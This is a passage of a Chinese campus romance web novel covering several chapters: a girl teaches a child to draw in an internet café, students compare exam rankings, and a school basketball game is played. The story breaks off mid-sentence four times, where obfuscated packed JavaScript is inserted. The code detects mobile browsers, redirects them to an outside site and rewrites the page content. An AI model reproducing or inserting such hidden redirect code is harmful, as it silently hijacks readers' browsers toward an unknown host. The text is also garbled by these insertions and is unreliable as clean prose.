等他们走远,裴知悯才慢腾腾地往回走,台球厅里,喻臣在教喻书摆打台球的手型,她见状就没去打扰,转身去了休息区。 方芷宜去完洗手间回来时,才发现自己座位旁坐了人,她没理,接着画画。 女孩子八九岁的样子,可可爱爱的,认真地在用彩铅画线描,裴知悯好奇地瞄了几眼,她的控制力很可以,排线排得工整。 方芷宜察觉到她的目光,扭过头看,见她在看自己的画,她一时就不怯生了,直接问:“你能看得出来我画的是什么吗?” 花花绿绿的颜色拼得紧凑,裴知悯轻易就看出来了,“一块西瓜。” 小姑娘惊喜地瞪大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793076|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 “猜对了吧。” 她小时候也画过这种儿童画。 “嗯嗯,”小姑娘喜笑颜开地点头, 每次她问她哥这种问题,那人就是一句“看不懂”“不知道”,眼前这姐姐倒是个懂行的。 或许是因为这个,方芷宜觉得她十分亲切,拉了拉她的衬衫袖口问:“你会画画?” 裴知悯如实说:“会。” 方芷宜眨了眨眼睛,有点难为情:“那你能陪我画一会儿吗?我一个人有点无聊。” 裴知悯爽快地点头:“好啊。” 小姑娘给她递来活页纸和画笔,裴知悯托着腮,画了个女孩子的头像,画完后,肌肉记忆先于大脑思考,就要在右下角落下那两个字,下笔的一刹那,她像是清醒了一般,赶忙换成了英文的连笔“YS”。 等到小姑娘那边画完,一看她画的是立体的人物头像,不禁赞叹:“姐姐,你画得好好看啊。” 裴知悯莞尔一笑,看向她的说:“你也画得很好啊。” “真的吗?”方芷宜有点怀疑这人在安慰自己。 裴知悯真诚道:“真的。” 小姑娘还是不太自信,绞着手指说:“可是他们都说我画得不好。” 裴知悯最初画画时,跟她差不多大小,这个年纪最重要的就是兴趣了,画的怎么样都是次要的。 不想小姑娘的自尊心受到伤害,裴知悯抿了抿唇,轻声说:“没有多少人刚开始画就画得很好,你才起步,就算画得不好也没有关系,最重要的是,勤奋和坚持。” 小姑娘似懂非懂地点了点头。 “而且,你说的‘他们’会画画吗?”裴知悯又问。 都是小区的玩伴,没多少喜欢画画。 “不会。”她说。 “那就当没听到,”裴知悯笑,“画画不听外行人的。” “好。” 见她一错不错地盯着自己手里的画,裴知悯询问:“你喜欢?” “嗯,”方芷宜毫不掩饰地点头。 裴知悯把画稿给她:“那我送给你。” 小姑娘欣喜之情溢于言表,礼貌地接过:“谢谢姐姐。” 裴知悯撑着下巴笑:“不客气。” — 他们这群人玩到天色暗淡才散,有男生说晚上再接着嗨,祁砚寒说他不去,抽身去接方芷宜了。 小姑娘是个话匣子,平常话多得不行,唯一的爱好就是画画,一画就静如处子,什么话都没了。 担心她觉得没劲,祁砚寒出门前专门拿上了画纸和画笔。 章钦是小姨的学生,大四基本没课,就当起了家里这网吧的网管,有章钦在监控里帮他看着,祁砚寒不担心小朋友的安全,但这么久了,她都没来找自己闹,孩子静悄悄,指不定在搞什么幺蛾子。 祁砚寒心头微紧,快步往角落的休闲区走,那会儿裴知悯正在跟方芷宜说她的勾线,小姑娘听得很认真,满眼崇拜地看着她应下。 女生小脸白净,鬓边的发随意垂落,整个人清冷温柔,和方芷宜在窗边坐着,一派的岁月静好。 祁砚寒凝望了几秒,轻轻唤道:“方芷宜。” 被喊的女孩子抬头,糯糯地喊他:“哥哥。” “在干什么?”他走过去问。 “画画,”方芷宜兴奋地举起手里的纸,“你看我画得好不好?” 祁砚寒视线偏过,看向画纸,比以前鬼画桃符的那些个什物要好不少。 他点头肯定:“不错,有进步。” 小姑娘得意地扬起了稚嫩的脸,下一秒,她还不忘把功劳归结清楚,“是这个姐姐教我的。” 祁砚寒顺着她的话看去,和裴知悯的目光凌空碰上。 “谢了。”他嗓音温淡。 裴知悯呼吸微滞,抿出个浅浅的笑:“没事。” 笑完她就不敢再看他了,空气有几秒的沉寂。 祁砚寒对她说:“你朋友好像在找你。” 他来时看见喻书在问卫旭知不知道她去哪儿了。 裴知悯看向墙上的钟,时间竟然比想象的还晚,她慌了下,连忙起身往外走。 身后的方芷宜见她离开,抬起头,声音清脆:“哥哥,你和那个姐姐认识?” 那时风声小了许多,裴知悯还未走远,依稀听见祁砚寒“嗯”了声。 “不熟。” 7. 第7章 那晚有男生想换地儿继续玩,喻书问裴知悯去不去,她摇了摇头,说要回家,喻书没有挽留,潇洒地同她告过别就和喻臣走了。 手底不小心沾到了画笔颜色,走之前,裴知悯先去了趟卫生间,洗净手出来时,意外地遇见了章钦。 那人正在窗前抽烟,吸完最后一口,他转过身,正好和她四目相对。 “下午的事儿有点对不住啊,妹妹。”章钦略带歉意地同她说,简言解释,“主要是我这生意太好,总有年纪小想混进来耍。” 裴知悯淡然回应:“没关系。” 走廊延伸出了一段不长不短的距离,两人一齐往外边走,他们都没出声,清脆的键盘声响和呼啸的风声,两人听得一清二楚。 为了缓解尴尬,章钦主动搭话:“你是高中生,现在在读高几啊?” “高二。” 章钦想起那小子也是高二,顺口就问:“你和祁砚寒是同学?” 裴知悯摇了摇头,“不是。” “那你们是怎么认识的?”他有点好奇。 裴知悯抿了抿唇,想起他那声冷硬的“不熟”,心蓦地涩了一瞬,她敛眸低语:“我们不熟。” 章钦愣了下,没想到她会这么说,他笑了声道:“不熟?骗我呢吧?下午不是他过来找你的?” 这回轮到裴知悯笑了,她那笑容纯真得很,“没有,碰巧而已,我们都没见过几面。” 她都这么说了,章钦干笑了两声,也不好再提那人。 “对了,我忘了说,我叫章钦。”他自我介绍道。 裴知悯点了下头表示知道,就没后续了。 “你不应该礼尚往来一下?”章钦故意问她。 裴知悯微微蹙眉:“你不是知道吗?” 登记名字的时候,他就在旁边看着,写完他还看了的。 章钦握拳虚咳了声,眼神转向了窗外,心想她记性还挺好。 两人不知不觉就到了门口,章钦进到前台,裴知悯要往外走,他礼貌送客:“欢迎再来。” 裴知悯温淡点了下脑袋,走上灯火通明的街,外面的天早就黑了,霓虹闪烁,街上的喧声很有生活气。 那天的风吹过整条繁华大街,银杏叶铺了厚厚的一层,裴知悯踩在叶面上,不远处有小贩的吆喝声,黄叶的轻响要仔细听才能听到,苏苏的,闷闷的,踏啦踏啦。 街边,有浪漫的人用银杏叶摆了大大的爱心,但许是行人没注意,把它踢得乱蓬蓬的,裴知悯忽然有点看不下去,弯腰捧了些黄叶补上。 爱心慢慢变得圆满,裴知悯看着自己的杰作,满意地点了点头。 狂风猛地刮来,刚完整的形状转眼就被风吹得破败不堪,没一点“心”的影子。 裴知悯瞬间怔住,内心一阵悲戚。 那爱心或许最开始就不是路人摆的,更不是路人弄乱的,纯粹是她多情而已。 有些爱是天意。 人为去改变,都是枉然。 裴知悯没再去管了,伸手拦了一辆出租车。 祁砚寒和方芷宜出来时,她刚打开车门,隔着五六米,小姑娘就挥手喊:“姐姐再见!” 裴知悯循声望过来,笑着说:“再见。” 说完她就上了车,出租车很快启动,汇入车流,都没影了,方芷宜却还望着那车离去的方向,祁砚寒出声提醒:“别看了,人早走了。” 方芷宜默然地转过头,神情怅然。 祁砚寒算是看出来了,小姑娘喜欢她,“你不想她走?” “嗯。” 他实在不懂,她和她就见过这一次,谈得上什么喜欢不喜欢。 “为什么?” 方芷宜不假思索:“她懂画。” 祁砚寒唇角轻勾,这小孩,阴阳谁呢。 他暗自呼了口气,安慰自己说她年纪还小不懂事。 “晚饭想吃什么?”祁砚寒问起正事。 小姑娘心思不在这上面,“随便。” 祁砚寒想了下,问:“肯德基行吗?” “行,”方芷宜不挑。 网吧这一带的快餐店不少,祁砚寒很快就找着了家店,点过餐,方芷宜就静静地托着小脸看画,祁砚寒则自顾自地玩着手机,过了十多分钟,她都没开口。 祁砚寒觉得有点反常,从前她高兴要说一箩筐的话,把事情悉数给他讲一遍,现在脸上开心,但话却不说一句。 祁砚寒拧眉问:“你看什么看这么入迷?” “想知道?”她还挺有架势。 祁砚寒没说话,眼神落向她面前的画本,意思不言而喻。 方芷宜把那个女生头像给他看,祁砚寒瞥了一眼,她没水平画这种人物画,他看过就问:“谁画的?” “那个姐姐。” 祁砚寒挑了挑眉,印象里她好像挺擅长画画的,上次在书店,她画的那男人就挺英气。 “你不觉得这个女生和我有一点像吗?”方芷宜暗示他道。 祁砚寒看了眼画,又看向她,小姑娘捧着脸,歪头朝他眨了下眼睛,俏皮又灵动。 好像还真有点。 都是圆脸,还都编了两个麻花辫,头上还有可爱的发卡。 有人为她画画,难怪小姑娘这么高兴。 “你长得好看又怎么样,”方芷宜表情颇有点嘚瑟的意味,“没人给你画吧?” 祁砚寒哼笑了声,不屑于和她谈论这没意义的。 画面右下角有一串连笔字,他瞧见了,问她:“这是什么?” 方芷宜“啊”了声,看过去一眼,抬头说:“我不知道啊。” 不知道就算了,祁砚寒只是随口一问转移一下话题,但方芷宜却很想知道。 “下次你帮我问问那个姐姐。”她说。 那会儿祁砚寒没应声,方芷宜以为他默认答应了,事实上他根本就没放在心上,后来小姑娘也忘了这事,很多年后,他回想起这件事,还是会忍不住后悔。 吃完回家,一大一小在小区门口遇见了提着一大袋零食的秦京宁。 小姑娘看见她,乖巧地打招呼:“京宁姐姐。” 秦京宁笑着摸出刚买的巧克力,塞到她手里,“来,芷宜,姐姐给你吃糖。” 祁砚寒先一步制止:“别给她,她在换牙,要少吃糖。” 秦京宁快速收回手,“那就不吃了,等你换完牙再给你吃。” 方芷宜不满地嘟起了嘴,朝祁砚寒撒娇,看他那油盐不进的态度,秦京宁默默地糖揣回兜里,不经意瞥见了小姑娘手里的画,那是裴知悯教她画的那张。 “这是你画的吗?”秦京宁捏了捏她的脸蛋,“好棒啊,我们芷宜,画得真好。” 小姑娘被夸,高兴得咯咯笑,“是一个漂亮姐姐教我画的。” 秦京宁慌了一瞬,不动声色地问小姑娘:“是你哥哥身边的人吗?” “是啊。”方芷宜想起他说他们认识。 “有多漂亮?”秦京宁接着问。 “嗯……”方芷宜仔细回忆了下,“就是很简单的那种漂亮。” 娃娃还小,太多的形容词她也不知道,她说漂亮那就是很漂亮。 “祁砚寒,你实话实说,”秦京宁咽了咽喉咙,不安地问,“你是不是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793077|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女朋友了?” 祁砚寒无奈地叹口气:“秦京宁,你这偏听偏信的毛病什么时候能改改?” “什么意思?”秦京宁还有点愣。 他撂下一句“自己想去”,就带着小朋友走了。 后面秦京宁反应过来,追上去问:“真没女朋友?” 祁砚寒看她那张明艳里带着希冀的脸,有坏水冒出来,这人撩起嘴角,声调懒散散的,“有,怎么没有?” “你说真的?” “真啊,”祁砚寒扯起了些有的没的,“刚还有人找我要电话,我给了。” 他看向她说:“女朋友嘛,迟早的事。” “你少骗我,”秦京宁这点还是了解他的,他不轻易给联系方式出去,“你能给就怪了。” 祁砚寒笑得胸腔微抖,牵着和方芷宜就往右拐进了家。 秦京宁看着他高高瘦瘦的背影,心里还是那样想,我迟早把你追到手。 听到楼下的动静,闻瑾从房间出来,看了眼挂钟,不由问:“怎么现在才回来?” “哥哥带我出去玩了。”方芷宜蹦蹦跳跳地往客厅跑。 “去的哪儿啊?”闻瑾去到沙发坐下,笑容和蔼地问她,“游乐场还是儿童乐园?” “网吧。”方芷宜认识那两个字。 闻瑾脸色一变,火气瞬间就上来了,质问那“罪魁祸首”:“你怎么当哥的?这么小个孩子,你带她去网吧?” “早知道就不该把芷宜和你单独留在家里,净带坏她。” 祁砚寒淡淡笑了下,认真说:“妈,正经地方,她在那儿画画。” 闻瑾不太相信,冷眸一直盯着祁砚寒,说让他好好解释个清楚。 “妈,我说的是实话。”他神色坦荡又无奈。 闻瑾脸上的的怒火还是显而易见,方芷宜见情况不对,立马去到闻瑾身边,把下午画的线描给她看,“姨姨,哥哥说的是真的,那里环境挺好的,安静适合画画,我画了好多张呢,你看看。” 网吧那地方,再怎么自顾自的都和安静沾不上关系,但她这么一说,闻瑾的火气小了一半。 祁砚寒注视着方芷宜那稚嫩的脸庞,掀起嘴角一笑,这小姑娘还挺机灵。 真没白疼。 闻瑾从他身上移开眼,一页一页地翻看着,冷漠的脸色渐渐缓下来,到了最后那页,他母亲面上终于有了一丝笑。 “画得可以啊,”她怜爱地摸了摸女娃娃的头顶,“芷宜真厉害。” 方芷宜悄悄朝她哥挤眉弄眼,比了个“OK”的手势,闻瑾合上画册,无力地朝站着的那人摆了摆手。 就这样,祁砚寒逃过了一场腥风血雨的拷问。 晚上睡前,方芷宜来到他房间,那会儿祁砚寒刚打赢了一场游戏,心情颇好。 “你知道为什么姨姨不骂你了吗?” 小姑娘猛地来这么一句,把祁砚寒都问懵了瞬,男生懒懒地靠着椅背,好整以暇地问原因。 “因为她看到了那个姐姐教我画的画。”方芷宜站在他的书桌旁,头只高出桌面半个头,明明年纪不大,说的话却有两分说教的意味。 “前面的几张其实我画得都不怎么好,但姨姨没说我,就是因为她看了最后的那张。” “所以呢?”祁砚寒直接问重点,“你想说什么?” “你应该感谢那个姐姐。”方芷宜出门前说。 祁砚寒意味不明地笑了声,这么一说,她好像还真有点功劳。 许多年后,他们谈起这事,祁砚寒仍觉得不可思议,又很是感慨,她没说一句话,就让他免去了自家母亲的一顿骂。 8. 第8章 那天晚上,繁华大街出行的人很多,车辆遇上熙攘的人流,时停时走,出租车缓慢行驶着,道路两侧昏黄的灯光照得人想睡觉。 慢慢悠悠地走出这一带,车辆速度终于正常了起来,裴知悯被车外沾着凉意的风吹了个清醒,她蓦地睁开眼,缓过两秒后,转头欣赏起了南城的夜晚。 辽远的天空之下,这座城市灯火辉煌,银杏叶在风中零落,跌在淡黑的大街上,地面的人群来来往往,有人哼着歌,轻柔低缓的歌声,渐而远去。 出租车在街道中穿梭,走出商圈,后程一路顺畅。 回到家,裴知悯带回来的花已经被苏英修剪好了,茶几和餐桌上都摆了上,明亮又鲜艳的颜色,将家里衬得更温馨了两分。 苏英正在跟外婆打电话,见裴知悯回来了,顺手就把电话给了她,然后进厨房忙活老两口让她带回来的湛青碧绿了。 明明上午才分别,许兰君跟裴知悯却像好久没见了似的,一会儿让她注意天气,多穿点,一会儿又说学习不能太给自己压力,最后聊到画稿,老太太放低音量,说在枯燥的日子里,有个爱好支撑也好,末了,她还不忘提醒她说注意点,别被苏英发现了。 裴知悯想起前几天那废寝忘食画稿的生活,恍然觉得像梦一样,她轻轻笑了下,说“嗯”。 挂断电话,裴知悯陪裴振看起了电视,没多久,苏英走出厨房来喊她早点睡,说明天要上学,她听话地回了自己房间。 那晚的后半夜好像下起了小雨,淅淅沥沥的,裴知悯听得不真切,只是第二天醒来,外面是一片的风轻云净。 这一年的南礼好像从开始就人性化了不少,不仅没了按成绩分班的规定,月考成绩也罕见地没在假期里发出来。 安心地玩过一周,学生们陆续回校,上午,各科成绩就出来了。 令她意外的是,平时看着吵吵闹闹不学无术的班上,竟然卧虎藏龙,年级前一百,他们班上将近占了十分之一,班主任笑得格外灿烂,没想到自己竟然接手了这么个好班,以至于后来,班里再吵再闹他都由着他们去。 成绩一公布,就有人欢喜有人忧了,教室里一派哄闹,裴知悯拧着眉,低头在改错题。 “年级第一还是祁砚寒?”前面有同学在聊。 “那不然?”有男生说,“真神了,他数学只扣了两分。” “哇”声随即响起,女生还想听更多,那男生接着道:“听说他那两分扣的还是因为时间不够了,他最后那道题算了答案但没写结论。” 众人听罢,更是一水的赞叹。 好巧不巧,裴知悯那会儿改的正好是数学的最后一道大题,她咬了咬唇,继续按着思路演算,可算了两遍都没有结果,她叹口气,想问一问后面的人。 奈何那时林泽民不在座位上,时恬正在和李淮川聊天。 他俩这同桌月考考得尤其好,包揽了班上的一二名。 时恬眼睛睁得溜圆,背靠着自己的桌子,夸道:“李淮川,看不出来啊,你这么厉害。” 男生腼腆地摸头笑了下,“运气好。” 他长相清秀,笑起来阳光又好看,时恬第一次看见他笑,不禁愣了住。 李淮川见对面的女孩子没动,眼神偏向裴知悯求助,裴知悯用手碰了下她,时恬回过神,又问了一遍,“你说什么?” 李淮川耐心道:“我说我考的好主要是因为运气。” “谦虚了不是?”时恬手摆了摆手说,“运气也是实力的一部分,你要相信自己。” “再说了,物理考满分的运气,也不是人人都有的。” 她看向裴知悯:“你说是吧?” 裴知悯点头,“没错。” 李淮川笑了下,颔首说了声谢谢夸奖。 几人没说两分钟,下课铃声就响了,这节课过后是大课间,有近半小时的休息时间,喻书过来问她成绩,暑假的补课在此刻发挥了大作用,裴知悯是班上的十二名,年级的前百分之十,喻书和她差不多。 “果然,还是阿姨高瞻远瞩,”喻书和她肩碰着肩,颇为感慨,“要是没有补课,照我这样的理解力,刚开学肯定考不到这样好。” “刚开始补课你可不是这么说的。”裴知悯淡淡地笑她。 当时她被苏英弄去补习,喻书本来还在同情她,谁知回家说起这事,她妈妈立马把她也送来了,那时她那怨气啊,堆了满腹。 “诶呀,今时不同往日嘛,”喻书讪讪地笑。 教学楼外四方的天清透干净,偶尔有鸟群飞过,远处的栾树一半在秋天,一半还在夏天,一切都很有生命力。(注) 裴知悯笑了下:“革命尚未成功,同志还需努力。” “有道理。”喻书赞同道。 她们聊到上课才各回教室,自习课后,那道数学题裴知悯还是没能独立解出来,林泽民教了她解题思路和方法,她算出来后,那天也就过了。 印象里月考的事只掀起了两三天的水花就过去了,大家再度投入了紧张的学习中,时间一晃就到了十月下旬。 普通的一天中午,裴知悯和喻书一块儿吃完饭,回来路过荣誉墙,那里围了不少人,两人本没打算去看,谁料上楼之前,那边的人一下就走完了,喻书不知怎的来了兴致,说要去看看喻臣,拉着裴知悯就过去了。 公告栏上面张贴着年级前一百的名字,文科的离她们近些,两人一过去就看到了好多张清丽的面庞,首行开头的照片下,赫然写着:何语苒。 “这个第一名的女生……”喻书盯着这颇为耳熟的名字,想了半天才想起,“好像在追祁砚寒。” 裴知悯轻轻“哦”了一声,事实上她早就知道了,那天在网吧,她偷听到了他们的谈话,此刻却也装作不清楚。 “但好像还没追上,”喻书的语气里没有嘲讽,她看了眼另一边,充满期待地说,“她要是拿下了这人,那简直是珠联璧合啊。” 裴知悯没言语,顺着她的话偏头看过去,理科那里,男生一张端正的正脸照,居于榜首,漆黑锐利的眸子,意气风发。 文理科的区域挨得很近,为首那两张并排靠在一起的照片,让裴知悯不由想起他们在走廊上并肩谈笑的样子。 喻臣的照片在第二行的正中间,脸上有微弱的惺忪感,头发也稍显凌乱,整个人有点颓,喻书瞧见后,忍不住乐了。 “你觉得,我哥这是没洗头就去拍的,还是刚睡醒啊?”笑完,喻书问她。 裴知悯分辨了下说:“有点像后者。” “我也觉得。” 喻书环抱着手,数了下他的排名,第二十名,拧眉道:“怎么他一天没怎么学都考得这么好啊?” 南礼中学他们这一届几千号人,能进年级前一百还是需要点真本事。 “喻臣哥成绩不是一向这样?”裴知悯实话实说。 喻书抿了抿唇,认为他肯定小时候背着她吃了什么灵丹妙药。 “不行,”喻书心里不平,一面说一面拿出手机,“我必须把这照片拍下来,以后好当个把柄。” 她拍完后,刚要给裴知悯看,喻臣的声音猛地响起。 “在干嘛?” 喻书一惊,迅速把手机藏在背后,带着笑喊:“哥。” “拍我照片呢?”喻臣稍微探身望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴知悯心旌不可遏制地荡漾了瞬,缓缓移动步子,去到靠墙的那边,从他身前经过,男生身上凛冽的味道还是一如既往的好闻。 很多年后裴知悯回想起他,才发觉他们还是有过许多并身同行的时刻。 走过三层楼,几人从楼梯口出来,遇见蒋琛卫旭他们,两人各顶着俩黑眼圈,看起来像是昏天黑地打游戏的铁证,喻书这样问起的时候,他们却双双否定。 “我们这可是实打实地在努力学习。”蒋琛说。 这四人听完,全都微微睁大了眼。 “主要是月考落败了,”卫旭边说边摇头,“再不突击突击知识点,期中考考差了回去不好交代。” 卫旭和蒋琛的父亲在一处工作,那段时间别人问起家里孩子成绩,这俩半百的老头头都抬不起来,回家一顿“教育”后,才有了现在这俩的奋起直追。 “那你突击得怎么样了?”喻臣打听道。 “别说了,”蒋琛“嘶”了一声,笑他,“前天会的昨儿就忘了。” “你比我好到哪儿去了,”卫旭白了他一眼,“咱们大哥别说二哥。” 蒋琛面色闪过一抹不自然,下一刻,他手搂上卫旭的肩往前走,声调豪迈:“所以,我们现在卧薪尝胆,要一雪前耻。” 裴知悯忆起补习结束的那天,他们也是这样,勾肩搭背,说一起发奋图强。 那时都很好,大家还青春,永远不缺从头再来的勇气。 9. 第9章 正午时分的阳光正好,暖洋洋地洒在他们的脸庞上,悠闲的午后,大家慢吞吞地往教室走。 走廊上,蒋琛和他们吐了一肚子的苦水,无非就是家里逼得有多紧,他苦不堪言,那俩说着说着,竟然讨论起了两句物理上面的问题。 喻书看他们那有点走火入魔的状态,悄悄问喻臣:“你透个底,这考的得是有多差啊?” “也没多差,”喻臣估摸着算了下,看向祁砚寒说,“就加起来和他差不多吧。” 裴知悯暗惊,那下午他们真没说假啊。 “你别乱说,”蒋琛在那儿奋力找补,“不至于这样,我们加起来还是比他那分高个几十。” 就这志气,说多也不多,说少也不少,正好够他们笑话一阵的。 卫旭使劲拉他袖子,小声说:“别说了,人都丢完了。” 蒋琛,悻悻地闭了嘴。 喻书脸上的惊讶还未敛尽,忍住笑问她哥:“这还叫没多差?” “正常水平。”喻臣哼笑一声。 当年这俩人昏天黑地地复习了两个月,中考时运气顶好,超常发挥进了南礼,但高一荒废了一年,现在就是个吊车尾的水平。 蒋琛瞥见她的脸色,深受打击,眯着眼说:“你稍微收敛点好吧,你这样我出师未捷心就先死了。” 喻书顿时收住笑,很仗义道:“祝你们逆风翻盘。” 蒋琛哼了下,“等着看吧。” “话说,你们四个暑假不都在一个地儿补课吗?”喻臣忽然问起。 “对啊,”喻书点头,“怎么了?” “那他俩考成这个样子,”喻臣谑笑道,“是钱没交够?” 怎么可能是因为这个,卫旭听完自己都笑出了声,头疼地挥挥手,“我爸都说那钱拿去做风险投资了。” “岂止,”祁砚寒在后面冷不丁地出声。 几个人望过去,脸上都露出疑惑的神色。 那人唇角勾出一点笑,毫不留情地拆穿:“你这是诈骗。” 这群人听见,瞬间大笑起来。 “砚哥,你话说得真是……”卫旭都接不下去这话了。 “精辟。”喻臣补充。 众人噗嗤一声全都乐了,后来各自回到教室,裴知悯想起蒋琛说的那个物理题,她有点拿捏不准,问了下林泽民,他四两拨千斤地就给她解惑了。 裴知悯钦佩地感慨:“你怎么什么都懂,主要是还讲的明白。” 林泽民笑了下,这次倒没谦虚,“基本操作。” 日历渐渐翻到十二月,大雪已过,风里满是冬天的味道。 写字手都有点抖的季节,学生们还在奋战,那段日子的课业很多,一张张的卷子叠在一起,都是他们的勋章。 期中考一过,荣誉墙又换过一轮,那上面仍旧没有她,首行的那两张照片始终在那里,好些次裴知悯路过,都听到有女生在谈论他们。 那次是个大课间,裴知悯早上没吃饱,下课去小卖部买了个面包垫,上楼前还剩几口,她就站在垃圾桶旁边,想吃完扔了包装袋再上去。 “这两个男帅女美,还真挺配。”有女生在和旁边的人说。 裴知悯微顿,鼓着腮帮子扭头看过去一眼,照片上的女生明丽动人,笑意浅浅,是很漂亮。 “何语苒就是我梦想中想要的样子,人美性格好成绩好,家里还有矿。” “这样的女生,我看了都喜欢,”那人也说,而后忽地有点感慨,“何语苒都追不到他,我们这种凡人就更别想了。” “他”是谁,她们好像都心知肚明。 裴知悯站在楼道口,穿堂风匆匆掠过,吹来一阵透心的凉。 她瑟缩着肩膀,三两下咽完面包就往楼上走,出口那里有个转角,裴知悯低着头心不在焉,一不小心和人撞上了。 那女生怀里抱着一叠卷子,和她一撞,撒了半摞出去。 “不好意思。” “对不起。” 两个人同时出声。 裴知悯顾不得看那人,连忙弯腰帮她捡卷子,递过去时目光交汇,看见是照片里的人走了出来,她全身一怔。 何语苒接过她手里的试卷,声音轻轻柔柔:“谢谢你啊,同学。” 裴知悯回神,起身歉然道:“你没事吧?” “没有,”何语苒微微一笑,同样关心她,“你呢?” 裴知悯摇了摇头,何语苒了然,道了句“那就好”,抱着卷子往连廊那边走了。 裴知悯和她相背而行,回到教室,她找了一套理综卷子来做,那是一套很难的提升卷,裴知悯做得磕磕绊绊的,她叹了声,放下笔看向外边的天。 那会儿太阳还没出来,天色阴冷,瓷青瓷青的,灰色的云一团挨着一团,无所事事地飘在空中。 “在想什么呢?”林泽民从后面拍了下她的肩,“闷闷不乐的。” 裴知悯没回答,不动声色地换了个话题问:“班长,你有什么考试提分的技巧没有?” 林泽民对上她那双求知的眼睛,认真地想了想说:“先理解,然后通过大量练习巩固,再将所有知识点串联起来,慢慢举一反三。” 裴知悯若有所思地抿了抿唇,“那要是串联之后,举一反不了三呢?” 林泽民挠了挠脑袋:“多练多反思吧,熟能生巧。” 裴知悯默念了便末尾那四个字,在心底消化起来。 林泽民眼珠一转,笑了笑继续说:“曾经有名师说过——” 裴知悯再度打起精神,等着听大师的教诲。 林泽民缓缓道来:“所有的考试,不过都是把你平常所学的发挥出来。” 裴知悯仔细一琢磨,好像是这个理,她好奇地问了嘴那名师是谁,林泽民只说天机不可泄露。 过了很久,他们再说起这事儿,裴知悯才知道哪有名师,不过是他杜撰出来的。 那天的最后一节课本来是英语,英语老师临时有事,就和体育老师调了一节,班里的人兴奋得跟猴一样,收拾好书包就往操场去。 下楼时遇见喻书,这人风风火火的,一副要去干大事的模样。 “怎么了?”裴知悯忙问。 喻书斗志昂扬:“我哥他们在和篮球队的人打比赛,我去给他加油。” 这事啊,裴知悯松了口气。 “你们这节体育课?”喻书看她背了书包,问了句。 裴知悯简言说了下换课的事,喻书兴奋地喊她等会来看比赛,说正好加油人多力量大。 裴知悯点头应“好”。 体育课上,大家的心思早就飞到天那边去了,老师让他们跑了两圈活动活动筋骨,就说自由活动,裴知悯买了两瓶水,晃悠着往篮球场走。 十二月的风迎面扫来,卷起地上的落叶,呜呜的风声,还是比不过由远及近如沸的人声。 小道尽头右转,就到了篮球场,萧瑟寂寥的深冬,现场一片火热,场边围了许多人,女生的呐喊欢呼声一阵高过一阵。 那抹熟悉的身影在场上极为耀眼,就在裴知悯看去的那一刻,男生纵身一跃,腰背后仰的同时,手腕内扣,篮球在空中划过一道漂亮的弧线,稳稳进筐,球场上立马响起一阵尖锐的喝彩声。 裴知悯抱着水,穿过拥挤的人群去到喻书身边,那时喻书的嗓子已经喊哑了,见她给自己带了水,感激地给了她个熊抱。 猛喝了两口水润过嗓子,喻书凑在她耳边,神秘兮兮地问:“你知道那个9号是谁吗?” 裴知悯看过去一眼,“不知道。” “校篮球队的队长,路泽珩,”喻书一猜她就不知道,继续说,“我也是前些天才知道,何语苒是他表妹,就那个文科第一。” 原来那天他们说的人是他啊。 “喻臣哥和他在一队?”裴知悯问。 “不是,他和祁砚寒,蒋琛他们是一队,”喻书一面说一面狐疑地打量起了她,“你不是想叛变吧?” 裴知悯不明所以地“啊”了下。 “你是我闺蜜,当然只能给我支持的这队加油,”喻书威胁似的说,“路泽珩那队,你想都不要想。” 裴知悯禁不住笑了,“好。” 喻书不知从哪儿拿出了个手拍掌塞到她怀里,“快给我哥加油。” 裴知悯立刻依言照做,挥舞起手掌拍来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793079|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那场比赛的比分咬得很紧,现场的气氛节节高涨,将冬日的寒气一扫而空,热烈的喝彩声在祁砚寒倒数五秒的那个三分球进筐达到了高潮,比赛最终也以那三分的领先宣告结束。 赢了比赛他们这边很是高兴,一一握手撞肩,路泽珩恨铁不成钢地看了眼自家这一队的人,和他俩说:“这次都是因为那几个不传球,不作数啊。” “路队长,就是一场友谊赛,输了就算了,你别放在心上。”喻臣笑着说,还特意加重了几个关键字。 路泽珩不服道:“下次再战一次。” “可以啊,再输了你就别来理论。”祁砚寒笑得张扬,双手撩起衣摆,擦了一把脸上的汗。 